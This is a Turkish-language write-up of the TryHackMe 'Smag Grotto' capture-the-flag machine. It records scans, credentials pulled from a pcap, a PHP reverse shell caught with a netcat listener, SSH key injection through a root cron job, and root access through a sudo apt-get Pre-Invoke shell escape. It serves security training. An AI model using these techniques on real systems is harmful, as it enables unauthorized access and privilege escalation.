Table of Contents
Merhabalar, bu yazımda sizlere TryHackMe platformunda bulunan “Smag Grotto” isimli makinenin çözümü anlatacağım. Keyifli Okumalar…
Çözüm
1 — Nmap aracını kullanarak makine üzerindeki açık portlar ve servisler hakkında detaylı bilgi ediniyorum.
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nmap -sS -sV 10.10.91.139
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-24 14:19 EDT
Nmap scan report for 10.10.91.139
Host is up (0.069s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
2 — Dizin taraması yapıyorum.
┌──(root㉿kali)-[/home/kali/Downloads]
└─# gobuster dir -u http://10.10.91.139 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.91.139
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/06/24 14:35:15 Starting gobuster in directory enumeration mode
===============================================================
/mail (Status: 301) [Size: 311] [--> http://10.10.91.139/mail/]
3 — /mail dizininde bir sohbet ekranı ile karşılaşıyorum. Burda bi “.pcap” uzantılı dosya buluyorum. Dosyayı wireshark aracı ile açıp TCP akışını takip ettiğimde bir giriş bilgileri elde ediyorum. Paketin Host başlığına baktığımda “development.smag.thm” isminde bir alan adı görüyorum. Bu alan adını /etc/hosts dosyasına ekliyorum.
POST /login.php HTTP/1.1
Host: development.smag.thm
User-Agent: curl/7.47.0
Accept: */*
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
username=helpdesk&password=*CENSORED*HTTP/1.1 200 OK
Date: Wed, 03 Jun 2020 18:04:07 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 0
Content-Type: text/html; charset=UTF-8
┌──(root㉿kali)-[/home/kali/Downloads]
└─# echo "10.10.91.139 development.smag.thm" | tee -a /etc/hosts
10.10.91.139 development.smag.thm
4 — “development.smag.thm” adresine gittiğimde bir giriş ekranı ile karşılaşıyorum. PCAP dosyasından elde ettiğim bilgiler ile giriş yapıyorum. Daha sonra arama kısmına php reverse shell komutu yazıp bağlantı alıyorum.
┌──(root㉿kali)-[/home/kali/Downloads]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.8.94.51] from (UNKNOWN) [10.10.91.139] 38106
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
5 — Cron tablosunu incelediğim zaman başka bir dizindeki backup dosyasının içeriğini ssh kayıtlı kullanıcılarına eklediğini görüyorum. “/opt/.backups/jake_id_rsa.pub.backup” dizinin içine kendi id_rsa.pub dosyamın içeriğini yapıştırarak parola olmadan SSH bağlantı kurabilmeyi sağlıyorum. SSH bağlantısını kurduktan sonra ilk bayrağı elde ediyorum.
www-data@smag:/home/jake$ cat /etc/crontab
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /bin/cat /opt/.backups/jake_id_rsa.pub.backup > /home/jake/.ssh/authorized_keys
┌──(root㉿kali)-[/home/kali/Downloads]
└─# cat /root/.ssh/id_rsa.pub
*CENSORED*
www-data@smag:/opt/.backups$ echo "*CENSORED* > /opt/.backups/jake_id_rsa.pub.backup
<SPRxaxjReNyls= root@kali" > /opt/.backups/jake_id_rsa.pub.backup
┌──(root㉿kali)-[/home/kali/Downloads]
└─# ssh jake@10.10.91.139
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-142-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Last login: Fri Jun 5 10:15:15 2020
jake@smag:~$ cat user.txt
*CENSORED*
6 — Sudo yetkisi ile çalıştırabileceğim komutları listeledğim zaman “apt-get” komutunu görüyorum. GTFObins sitesinden bu yetkisiyi nasıl suistimal edebileceğimi öğrenip komutu yazıyorum. Root kullanıcısına geçtikten sonra ikinci bayrağı da elde ediyorum.
jake@smag:~$ sudo -l
Matching Defaults entries for jake on smag:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User jake may run the following commands on smag:
(ALL : ALL) NOPASSWD: /usr/bin/apt-get
jake@smag:~$ sudo apt-get update -o APT::Update::Pre-Invoke::=/bin/sh
# whoami
root
# cat /root/root.tdxt
cat: /root/root.tdxt: No such file or directory
# cat /root/root.txt
*CENSORED*